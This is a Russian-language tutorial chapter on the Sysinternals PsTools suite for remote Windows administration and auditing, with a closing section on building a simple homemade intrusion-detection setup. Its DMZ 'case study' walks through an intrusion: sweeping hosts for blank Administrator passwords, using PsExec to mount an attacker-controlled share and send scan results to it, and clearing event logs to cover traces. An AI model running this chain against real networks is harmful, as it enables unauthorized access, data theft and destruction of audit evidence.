    Переименование пользователя Administrator в "TeflonBilly" неплохо, но недостаточно для реальной безопасности. С использованием PsGetSid, любой, кто может установить NULL -соединение может получить строку, называемую "секретный идентификатор SID " (Security Identifier) для конкретного пользователя. Заключительная часть этой строки содержит относительный идентификатор RID (Relative Identifier). Для пользователя с правами администратора, независимо от его имени, RID всегда равен 500 - практически, как у пользователя root в Unix, этот параметр всегда равен 0. Для гостевого профиля этот параметр всегда равен 501. Эти два RID -идентификатора никогда не изменяются.

    C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure Orc
    SID for 192.168.0.176\\Orc:
    S-1-5-21-1454471165-484763869-1708537768-501
    Совет. Когда вы ищите пользователя "Administrator", всегда проверяйте, что у профиля есть строка SID, которая заканчивается на -500. В противном случае, знайте, что профиль был переименован.

    Запрос идентификатора SID не может быть адресован для конкретного пользователя. PsGetSid может перечислить другие объекты, такие как компьютеры или группы пользователей.

    C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure goblynswood
    SID for 192.168.0.176\\goblynswood:
    S-1-5-21-1454471165-484763869-1708537768
    C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure "Power Users"
    SID for 192.168.0.176\\goblynswood:
    S-1-5-32-547

    Сам по себе этот тип информации обычно не используется, но вместе со значениями RID -пользователей, полученных из ASM -файлов, эти данные покрывают существенную часть структуры аутентификации домена.

    PsInfo

    Операционная система, продолжительность непрерывной работы (основанная на анализе системного журнала), корневая директория системы, дата инсталляции и т.д. и т.п. - данные, всегда вызывающие интерес. Не думайте о PsInfo, как о бесполезном инструменте. Эта программа возвращает полезную информацию о системе. И помните, она делает это удаленно!

    C:\>Psinfo.exe
    System information for \\GOBLYNSWOOD:
    Uptime:         8 days, 2 hours, 59 minutes, 9 seconds
    Kernel version:     Microsoft Windows 2000, Uniprocessor Free
    Product type:           Professional
    Product version:        5.0
    Service pack:           2
    Kernel build number:        2195
    Registered organization:    twilight conclave
    Registered owner:       mps
    Install date:           1/2/2001, 3:03:03 PM
    System root:            E:\WINNT
    Processors:         1
    Processor speed:        1.0 GHz
    Processor type:     x86 Family 6 Model 8 Stepping 10, GenuineIntel
    Physical memory:        320 MB
    HotFixes:
    Q147222: No Description
    Q252795: Windows 2000 Hotfix (Pre-SP3) [See Q252795 for more information]
    Q276471: Windows 2000 Hotfix (Pre-SP3) [See Q276471 for more information]
    Q285156: Windows 2000 Hotfix (Pre-SP3) [See Q285156 for more information]
    Q285851: Windows 2000 Hotfix (Pre-SP3) [See Q285851 for more information]
    Q295688: No Description
    Q296185: Windows 2000 Hotfix (Pre-SP3) [See Q296185 for more information]
    Q298012: Windows 2000 Hotfix (Pre-SP3) [See Q298012 for more information]
    Q299553: Windows 2000 Hotfix (Pre-SP3) [See Q299553 for more information]
    Q299796: Windows 2000 Hotfix (Pre-SP3) [See Q299796 for more information]
    Q302755: Windows 2000 Hotfix (Pre-SP3) [See Q302755 for more information]
    Q314147: Windows 2000 Hotfix (Pre-SP3) [See Q314147 for more information]
    SP2SRP1: Windows 2000 Security Rollup Package [See Q311401 for more information]

    PsInfo предоставляет быстрый способ для проверки ваших серверов на предмет последних обновлений. Если у вас работает IIS, вы должны трепетно относиться к последним обновлениям и заплаткам. PsInfo получает информацию о последних обновлениях из настроек HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix системного реестра, поэтому некоторые заплатки приложений могут быть не внесены в этот список.

    Использование командного файла упрощает ревизию системы.

    C:\>for /L %i in (1,1,254) do psinfo \\192.168.0.%i >
    systeminfo_192.168.0.%i.txt

    Обратите внимание, что мы обошли полномочия аутентификации. Если вы собираетесь создать пакетный файл, который требует доступа к удаленной системе, не помещайте имя пользователя и пароль в командный файл. Вместо этого запустите пакетный файл в контексте пользователя домена с полномочиями для ревизии этой информации. Проблема, с которой вы можете столкнуться, состоит в сложности доступа к системам, которые не являются частью домена.

    Совет. PsInfo - фантастическое средство для управления конфигурацией. Мало других систем дают информацию об обновлениях по удаленному запросу.

    PsService

    Это сильное средство для обеспечения удаленного просмотра и манипуляции службами. Команды Windows net start и net stop трепещут в присутствии PsService. Без параметров командной строки PsService возвращает список служб, установленных в системе. Следующий урезанный для краткости вывод содержит полную информацию о двух службах.

    C:\>psservice.exe
    SERVICE_NAME: inetd
    DISPLAY_NAME: CYGWIN inetd
    (null)
    TYPE                : 10 WIN32_OWN_PROCESS
    STATE           : 1 STOPPED
                        (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
    WIN32_EXIT_CODE : 1077 (0x435)
    SERVICE_EXIT_CODE   : 0 (0x0)
    CHECKPOINT      : 0x0
    WAIT_HINT           : 0x0
    SERVICE_NAME: SharedAccess
    DISPLAY_NAME: Internet Connection Firewall (ICF) / Internet Connection
    Sharing (ICS)
    Provides network address translation, addressing, name resolution
    and/or intrusion prevention services for a home or small office network.
    TYPE                : 20 WIN32_SHARE_PROCESS
    STATE           : 4 RUNNING
                        (STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
    WIN32_EXIT_CODE : 0 (0x0)
    SERVICE_EXIT_CODE   : 0 (0x0)
    CHECKPOINT      : 0x0
    WAIT_HINT           : 0x0

    Информация о службах, независимо от того, работает служба или нет, показывает роль системы, установленное программное обеспечение поддержания безопасности и, возможно, относительное значение для сети. Сервер, который осуществляет резервное копирование PDC, имеет запущенную службу резервирования и почтовый сервер, который, возможно, содержит выполняющийся сервер для защиты от вирусов. К тому же, PsService обеспечивает возможность управления службами. Задайте одну из следующих команд для манипуляции службой.

    C:\>psservice.exe /?
    PsService v1.01 - local and remote services viewer/controller
    Copyright (C) 2001 Mark Russinovich
    Sysinternals - www.sysinternals.com
    PsService lists or controls services on a local or remote Win2K/NT system.
    Usage: psservice.exe [\\Computer [-u Username [-p Password]]] cmd optns
    Cmd is one of the following:
        query       Queries the status of a service
        config      Queries the configuration
        start       Starts a service
        stop        Stops a service
        restart     Stops and then restarts a service
        pause       Pauses a service
        cont        Continues a paused service
        depend      Enumerates the services that depend on the one specified
        find        Searches for an instance of a service on the network

    После команды задайте имя службы, для которой следует получить результат. Например, здесь представлено, как запустить IIS на удаленном компьютере (предполагая, что вы вошли в домен как администратор).

    C:\>psservice.exe \\192.168.0.39 start w3svc

    Вы можете также запустить, перезагрузить, приостановить и продолжить работу службы. Команда config слегка отличается от команды query, которая обеспечивает получение информации при запуске PsService без параметров. Команда config возвращает информацию о службах, которые работают на самом деле.

    C:\>psservice.exe config inetd
    SERVICE_NAME: inetd
    (null)
            TYPE                : 10 WIN32_OWN_PROCESS
            START_TYPE      : 3 DEMAND_START
            ERROR_CONTROL       : 1 NORMAL
            BINARY_PATH_NAME    : d:\cygwin\usr\sbin\inetd.exe
            LOAD_ORDER_GROUP    :
            TAG             : 0
            DISPLAY_NAME        : CYGWIN inetd
            DEPENDENCIES        :
            SERVICE_START_NAME  : LocalSystem

    И, наконец, команда find может быть использована для поиска службы, работающей в сети. Она работает подобно сканеру сети. Например, для поиска хостов в домене, на которых выполняется служба Terminal Services, следует искать службу termservice.

    C:\>psservice.exe find termservice
    Found termservice on:
    \\ZIGGURAT
    \\GOBLYNSWOOD

    Используйте это совпадение со сканером портов для определения "кривых" установок IIS в вашей сети.

    PsList

    PsList отображает список процессов на локальной или удаленной машине. Параметры -d, -m и -x отображают информацию о нитях, памяти и соответственно, комбинацию этих двух параметров. Однако можно использовать просто pslist.

    C:\>pslist.exe
    Process information for GOBLYNSWOOD:
    Name        Pid Pri Thd Hnd  Mem  User Time    Kernel Time  Elapsed Time
    Idle          0   0   1   0   16  0:00:00.000  3:57:29.219  0:00:00.000
    System        8   8  39 319  216  0:00:00.000  0:00:11.536  0:00:00.000
    SMSS        152  11   6  33  560  0:00:00.210  0:00:00.741  4:27:11.031
    CSRSS       180  13  10 494 3560  0:00:00.650  0:01:30.890  4:26:59.084
    WINLOGON    200  13  17 364 3256  0:00:00.230  0:00:01.081  4:26:55.879
    SERVICES    228   9  30 561 5640  0:00:01.542  0:00:03.535  4:26:48.058
    LSASS       240   9  14 307  520  0:00:00.260  0:00:00.230  4:26:48.028
    svchost     420   8   9 333 3748  0:00:00.150  0:00:00.150  4:26:41.839
    spoolsv     452   8  12 166 3920  0:00:00.070  0:00:00.160  4:26:41.088

    Вы также можете получить информацию о конкретном процессе по имени или идентификатору ID, обратившись к нему в командной строке. Например, чтобы увидеть, сколько ресурсов пожирает Internet Explorer, попытайтесь выполнить следующее.

    C:\pslist.exe iexplore
    Process information for GOBLYNSWOOD:
    Name        Pid Pri Thd  Hnd   Mem  User Time    Kernel Time  Elapsed Time
    IEXPLORE    636   8  17  805 26884  0:00:14.711  0:00:17.154  4:38:27.694
    IEXPLORE   1100   8  28 1054 27980  0:00:24.375  0:00:40.888  4:36:25.388
    Совет. Некоторые утилиты захвата паролей требуют знания идентификатора процесса ID (PID) программы LSASS. PsList - великолепный способ узнать его.

    Параметры -s и -r могут пригодиться для мониторинга важных серверов или отладки. Параметр -s переводит PsList в режим диспетчера задач. Другими словами, он обеспечивает непрерывное обновление до тех пор, пока вы не нажмете Esc - практически, как для команды top в Unix. Параметр -r устанавливает время обновления в секундах. Например, вы можете осуществлять мониторинг процесса IIS на Web-сервере каждые 10 секунд.

    C:\>pslist.exe -s -r 10 inetinfo.exe

    Параметр -t отображает каждый процесс и его нить в формате дерева, упрощая визуализацию взаимосвязи процессов в системе. Ниже представлен сокращенный вывод, который отображает системные нити.

    C:\>pslist.exe -t
    Process information for GOBLYNSWOOD:
    Name                        Pid Pri  Thd  Hnd     VM    WS  Priv
    Idle                          0   0    1    0      0    16     0 
      System                      8   8   39  323   1668   216    24
         SMSS                   152  11    6   33   5248   560  1072
           CSRSS                180  13   10  502  22700  3576  1512
           WINLOGON             200  13   17  364  35812  3252  5596
              SERVICES          228   9   31  563  33748  5652  2772
                 svchost        420   8    9  333  22624  3748  1528
                     MDM       1420   8    3   96  25996  2640   924 
                Avsynmgr        556   8    4  139  28024  2708  1460
                    VSStat      896   8    2  112  26376  2664  1376
                    vshwin32    956   8    7  219  54220  6468  3908
                   WebScanX    1036   8    3  194  40020  6052  4628
                Avconsol        976   8    2  112  28500  2640  1484
            svchost             592   8   33  449  43592  8084  3364
         LSASS                  240   9   14  307  28080   864  2344
    explorer                   1200   8   17  468  99580  4460 11912

    PsKill и PsSuspend

    Получив список процессов, вы можете уничтожить (или подвесить) процесс. Программа PsKill принимает в качестве аргумента или имя процесса или его идентификатор. Если вы точно знаете идентификатор PID, вам может понадобиться использовать PsKill совместно с PsList. С другой стороны, задав процесс по имени, можно удалить больше процессов, чем вы рассчитывали. Оба метода чувствительны к такому типу уязвимости, как "oops" - ошибка в значении PID и случайное удаление ошибочно введенного процесса.

    C:\>pslist.exe | findstr /i notepad
    notepad 1764    8   1   30  1728    0:00:00.020 0:00:00.020 0:00:07.400
    notepad 1044    8   1   30  1724    0:00:00.020 0:00:00.020 0:00:05.077
    notepad 1796    8   1   30  1724    0:00:00.010 0:00:00.020 0:00:03.835
    C:\>pskill.exe 1764
    process #1764 killed
    C:\>pskill.exe notepad
    2 processes named notepad killed.

    Внимание. Будьте бдительны, удаляя процесс по имени. PsKill выбирает все процессы, а не только тот, который встретится первым. Эффект, сходный с использованием регулярного выражения, вроде звездочки (*).

    PsSuspend работает аналогично. Задайте имя процесса или ID после имени команды, чтобы приостановить процесс.

    C:\>pssuspend.exe 1116
    Process 1116 suspended.

    Используйте параметр -r для возобновления работы процесса.

    C:\>pssuspend.exe -r 1116
    Process 1116 resumed.
    Примечание. Помните, что эти утилиты работают удаленно, но они требуют пользовательской аутентификации. Открытый порт NetBIOS не открывает всей системы. Однако существует проблема, связанная с открытым NetBIOS-портом и пустым паролем администратора (мы могли это прекрасно видеть). Используйте PsTools для аудита вашей сети.

    PsLogList

    Журнал системных событий содержит богатейшую информацию о состоянии системы, статусе служб и безопасности. К сожалению, неуклюжесть средств просмотра журнала обычно подталкивает администратора к краткому аудиту журнала событий. В отличие от мира Unix, где большинство системных журналов представлено в текстовом формате, журнал Windows представляет собой двоичную головоломку. Появление программы PsLogList открыло две возможности: журнал может быть преобразован в текстовый формат и разобран в таблицу другого формата, и журналы могут быть получены удаленно для консолидации, резервирования и сохранения их содержания.

    PsLogList отображает содержимое журнала в расширенном или консолидированном форматах, с запятыми вместо разделителя полей. По умолчанию PsLogList выводит информацию в расширенном варианте.

    C:\>psloglist.exe
    System log on \\GOBLYNSWOOD:
    [16554] Dhcp
    Type:       WARNING
    Computer:   GOBLYNSWOOD
    Time:       3/11/2002 11:01:28 PM   ID: 1003
    Your computer was not able to renew its address from the network
    (from the DHCP Server) for the Network Card with network address
    00047644DFBF.The following error occurred:
    The semaphore timeout period has expired.
    Your computer will continue to try and obtain an address on its
    own from the network address (DHCP) server.

    Вывод в формате с разделителями производится, если воспользоваться параметром -s. Как обычно, пример сокращен для удобства.

    C:\>psloglist.exe -s
    System log on \\GOBLYNSWOOD:
    16554,System,Dhcp,WARNING,GOBLYNSWOOD,Mon Mar 11 23:01:28 2002,1003,None,...
    16553,System,Application Popup,INFORMATION,GOBLYNSWOOD,Mon Mar 11...

    Можно просмотреть любой из трех журналов (системных событий, приложений или безопасности).

    C:\>psloglist.exe -s security
    Security log on \\GOBLYNSWOOD:
    14308,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:49:35
    2002,538,Orc\GOBLYNSWOOD,orcGOBLYNSWOOD(0x0,0x119382)3
    14307,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:32:00
    2002,538,Administrator\GOBLYNSWOOD,AdministratorGOBLYNSWOOD(0x0,0x119513)3

    Параметр -f дает возможность фильтровать сообщения о событиях пятью способами: Warning (w), Information (i), Errors (e), Audit Success и Audit Failure. (Символы в скобках представляют собой сокращения, которые воспринимает PsLogList на входе). Два способа аудита применимы только для анализа журнала безопасности и должны вводиться в кавычках.

    C:\>psloglist.exe -s -f "Audit Success" Security Security_successes.log

    Используйте PsLogList для помощи в управлении вашей политикой сетевого аудита. Хотя эта программа не может переключить установки журнала событий, используйте программу для координации журналов и создания ежедневных, еженедельных или ежемесячных отчетов о своей сети. Надлежащий просмотр журнала поможет не только определить подозрительных пользователей, но и обеспечит управление состоянием сети.

    В заключение еще одно замечание: параметр -c очищает системный журнал после того, как он сброшен в текстовый файл. Используйте этот параметр с осторожностью, поскольку вы можете неумышленно очистить системный журнал до того, как сделана его резервная копия.

    C:\>psloglist.exe -c Application
    ...output truncated...
    Application event log on GOBLYNSWOOD cleared.
    C:\psloglist.exe Application
    Application log on \\GOBLYNSWOOD:
    No records in Application event log on GOBLYNSWOOD.
    Примечание. Взломщик может использовать параметр -c, чтобы очистить журнал и тем самым скрыть свое присутствие.

    Параметры -a и -b позволяют получить информацию о событиях, происшедших после или до заданной даты, введенной в формате мм/дд/гг. Ниже приведен образец того, как запросить информацию о событиях, относящихся к системе безопасности за предыдущую дату (02/09/02 - текущий день).

    C:\>psloglist.exe -a 02/08/02 -b 02/09/02 Security

    PsLogList читает журнал в двоичном формате из любой системы. Введите перед именем файла параметр -l. PsLogList определит тип системного журнала (события, безопасность, система).

    C:\>psloglist.exe -l Security.evt

    PsExec

    PsExec считается наиболее распространенной утилитой из набора PsTools. Она выполняет команды на удаленном компьютере, а также загружает программу на удаленную систему, если ее там нет. В отличие от других средств удаленного выполнения, таких как Windows-версии Unix-команды rexec, с помощью PsExec вам не надо устанавливать дополнительные динамические библиотеки или специальные серверные приложения. Однако вы должны иметь доступ к общему ресурсу ADMIN$ и полномочия для использования этого средства в сети.

    PsExec понимает, что вы хотите выполнять команду на удаленном компьютере, поэтому аргумент ComputerName обязателен (вы всегда можете определить параметры -u и -p, чтобы задать имя пользователя и пароль).

    C:\>psexec.exe \\192.168.0.43 cmd /c dir

    Убедитесь в правильности ввода полного имени команды. По умолчанию PsExec выполняет команды из директории %SYSTEMROOT%\System32. Ниже приведено несколько примеров.

    C:\>psexec.exe \\192.168.0.43 ipconfig /all
    C:\>psexec.exe \\192.168.0.43 net use * \\10.2.13.61\
      \backups Rch!ve /u:backup
    C:\>psexec.exe \\192.168.0.43 c:\cygwin\usr\sbin\sshd

    Если название программы или дорожка содержат пробелы, то они должны вводиться в двойных кавычках. Если программа отсутствует на компьютере, используйте параметр -c (или -f ). Тем самым вы скопируете копию программы с вашего компьютера в директорию \\ComputerName's \System32 другой машины. Параметр -f дает возможность перезаписать файл, если такой уже существует. Приведенный пример помещает программу fscan, сканер портов, выполняемый из командной строки, на компьютер, и затем запускает его на сканирование сети класса C.

    C:\>psexec.exe \\192.168.0.43 -c fscan.exe -q -bp1-10001 -o
    targets.txt 192.168.0.1-192.168.0.255

    Можно использовать параметр -c для загрузки полного набора утилит на удаленную машину.

    Последние три параметра управляют удаленным процессом. Для отсоединения от процесса и выполнения его в фоновом режиме используйте параметр -d (аналогично демо-режиму в Unix). Используйте параметр -s для запуска команды на системном уровне. Параметр -i дает возможность интерактивного взаимодействия с программой: с FTP или другими командами, которые требуют ввода пароля.

    PsShutdown

    PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже ( psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).

    C:\>psshutdown.exe
    PsShutdown v1.01 - Local and remote shutdown/reboot program
    Copyright (C) 2000 Mark Russinovich
    Sysinternals - www.sysinternals.com
    usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer]
        -t  Specifies countdown in seconds until shutdown (default: 20 seconds)
        -m  Message to display to logged on users
        -f  Forces running applications to close
        -r  Reboot after shutdown
        -a  Abort a shutdown (only possible while countdown is in progress)
        -l  Shutdown the local system
        \\computer Shutdown the remote computer specified

    Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f ; это работает аналогично команде shutdown -c -y из Resource Kit.

    Пример из жизни. Проникновение в DMZ

    Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или DMZ. Однако корпоративная сеть может быть враждебной к Web-серверам и базам данных DMZ во многих отношениях. "Тревожный звонок" может обнаружить на рабочем месте пользователя PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.

    В любом случае порты NetBIOS между корпоративной сетью и DMZ чаще всего открыты. Несмотря на это, атака хакеров из интернета вызывает беспокойство, верно? Взгляните на то, как PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.

    C:\fscan -p1-1024 192.168.17.1-192.168.17.255
    192.168.17.1        139/tcp
    192.168.17.1        135/tcp
    192.168.17.1        3389/tcp
    192.168.17.1        445/tcp
    192.168.17.39       80/tcp
    192.168.17.39       139/tcp
    192.168.17.39       135/tcp
    192.168.17.39       445/tcp
    192.168.17.148      80/tcp
    192.168.17.148      139/tcp
    192.168.17.202      445/tcp
    192.168.17.239      139/tcp
    192.168.17.239      135/tcp
    192.168.17.239      445/tcp

    Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.

    Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.

    C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p ""
    \\192.168.17.%%h systeminfo_192.168.17.%%h.txt

    Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (hotfix).

    SP2SRP1: Windows 2000 Security Rollup Package...

    Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.

    Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.

    C:\psexec -u Administrator -p "" \\192.168.17.148 net use *
    \\10.0.0.99\tools pass /u:user
    Drive H: is now connected to \\10.0.0.99\tools.
    The command completed successfully.

    Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).

    C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q
    -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255

    Посмотрите, что здесь происходит. Fscan копируется на систему-жертву ( -c ); система-жертва запускает fscan и сохраняет отчет ( -o h:\fscan.output ) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.

    192.168.17.202  1433/tcp

    Взломщик нашел базу данных!

    Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.

  • ipconfig /all. Определяет, является ли система системой со многими IP-адресами. Web-сервер часто имеет две сетевые карты - одну для интернет IP-адреса и другую для внутренних связей с базой данных.
  • netstat -na. Просматривает текущие связи и принимающие службы. Это отличный способ идентифицировать другие сети. Например, мы можем провести сканирование портов всего пространства сети класса А (10.0.0.0/8) или проверить отчет netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).
  • dir /s c:\. Рекурсивный список директорий, повторяемый для каждого из дисков. Наряду со средством PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.asa, которые содержат чистые текстовые пароли.
  • Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.

    C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148
    C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148
    C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148

    Пример из жизни. Одомашнивание IDS

    PsTools кажется настолько элементарным, что вы можете усомниться в его полезности. Спросите себя, что вы хотите сделать. Способность дистанционно взаимодействовать со службами, файлами протоколов (logfiles) и командной строкой - это не то, над чем можно посмеяться. Фактически, немного гениальности в комбинации с несколькими короткими batch-файлами и запланированными задачами может создать систему вторжения/обнаружения (IDS) среднего уровня. Рассмотрите следующие сценарии.

    Управляющие процессы. В 2001 г. прогон взломов IIS отправлял программные оболочки cmd.exe обратно к взломщику. Иногда cmd.exe переименовывали в root.exe.

    Чтобы справиться с таким типом взлома, вы сначала настраиваете усиленную систему Windows на работу в качестве главного административного сервера. Затем запускаете следующий сценарий, чтобы просмотреть на предмет нестандартных процессов (вам понадобятся команды sleep и tee из Resource Kit или Cygwin).

    rem ProcWatch.bat|
    rem usage: procwatch.bat IP address username password
    :loop
        pslist \\%1 -u %2 -p%3 cmd | tee procwatch.txt
        sleep 60
    goto :loop

    Обратите внимание, что batch-файл принимает IP-адрес, имя пользователя и пароль из командной строки. Это гарантирует, что мы никогда не пишем пароль, который делает файл универсально применимым. Заметьте, что файл истории DOS на главном сервере запомнит пароль. Следующее диалоговое окно свойства (Properties) показывает, как установить размер буфера в ноль, используя свойства (Properties) cmd.exe.

    Вы можете наблюдать отчет на командном экране, или запустить другие средства, чтобы просмотреть файл procwatch.txt автоматически на присутствие cmd.exe.

    Сбор файлов протоколов (Log Files). Другое преимущество использования PsExec и PsLogList состоит в консолидации файлов протоколов (logfile). Мы уже продемонстрировали, насколько полезен PsLogList для сбора и чистки удаленных протоколов событий. Файлы протоколов Web-сервера требуют более сложного подхода. Вы можете запускать сценарии на каждом отдельном Web-сервере, которые копируют протоколы, или запустить один сценарий со своего главного административного сервера, который собирает файлы протоколов со всех Web-серверов. В дополнение к следующим двум batch-файлам, вам необходимо задать следующее.

  • C:\shares\dropoff\. Директория, размещенная на главном сервере, в которой пользователь Guest записывает привилегии.
  • C:\logs\. Директория для хранения файлов протоколов (logfiles). Создайте вложенные директории по имени каждого Web-сервера.
  • batch-файл сбора. Это файл, чтобы запускать процесс сбора.
  • rem CollectLogs.bat
    rem usage: CollectLogs.bat username password
    
    for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2

    Это вспомогательный batch-файл, который выполняет фактическую работу.

    rem rotate.bat
    rem usage: rotate.bat IP address username password
    
    rem Stop the Web Service
    psservice \\%1 -u %2 -p %3 stop w3svc
    rem Mount the master's file share for dropping off files
    psexec \\%1 -u %2 -p %3 net use L: \\master\dropoff plainpass /u:guest
    rem Copy the files from the web server to the master
    psexec \\%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\
    rem Move the files from the master's dropoff folder to the log folder
    rem for the web server
    move C:\shares\dropoff\*.log C:\logs\%1\
    rem Disconnect the share
    psexec \\%1 -u %2 -p %3 net use L: /del
    rem Restart the Web Service
    psservice \\%1 -u %2 -p %3 start w3svc

    Вы можете запускать его каждый день, неделю, месяц. Он оставляет файлы протоколов (logfiles) на Web-сервере, но создает копии на вашем главном сервере. Затем вы можете запускать другие сценарии, чтобы производить автоматизированный обзор протоколов.

    Вернуться к учебному плану